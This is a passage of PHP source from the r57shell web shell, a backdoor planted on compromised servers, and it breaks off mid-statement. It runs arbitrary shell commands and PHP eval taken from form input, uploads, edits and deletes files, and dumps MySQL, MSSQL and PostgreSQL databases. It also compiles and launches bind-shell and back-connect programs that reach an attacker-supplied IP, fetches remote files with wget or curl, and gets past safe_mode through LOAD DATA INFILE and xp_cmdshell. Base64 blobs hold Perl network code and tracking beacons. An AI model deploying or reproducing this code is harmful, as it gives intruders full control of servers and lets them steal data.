+IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print ""; +@readfile ("");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb.$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir."<br>"; +echo "</font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="db_show") + { + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mysql_query("SHOW DATABASES", $db); + while(($row=@mysql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); + while(($row2=@mysql_fetch_row($res2))) + { + echo " | - ".$row2[0]."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); + while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } + } + } + } + } + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mssql_query("sp_databases", $db); + while(($row=@mssql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + @mssql_select_db($row[0]); + $res2 = @mssql_query("sp_tables",$db); + while(($row2=@mssql_fetch_array($res2))) + { + if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') + { + echo " | - ".$row2['TABLE_NAME']."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mssql_query("sp_columns ".$row2[2],$db); + while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } + } + } + } + } + } + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); + while(($row=@pg_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ + $sqh = "# homepage: http://\r\n"; + $sqh .= "# ---------------------------------\r\n"; + $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; + $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; + $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sqh .= "# ---------------------------------\r\n\r\n"; + switch($_POST['db']){ + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mysql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MySQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + $sql2 = ''; + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while (($row = @mysql_fetch_assoc($res))) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mssql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MSSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); + if (@mssql_num_rows($res) > 0) { + while (($row = @mssql_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $sql1 = "# PostgreSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); + if (@pg_num_rows($res) > 0) { + while (($row = @pg_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } + else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts; +echo 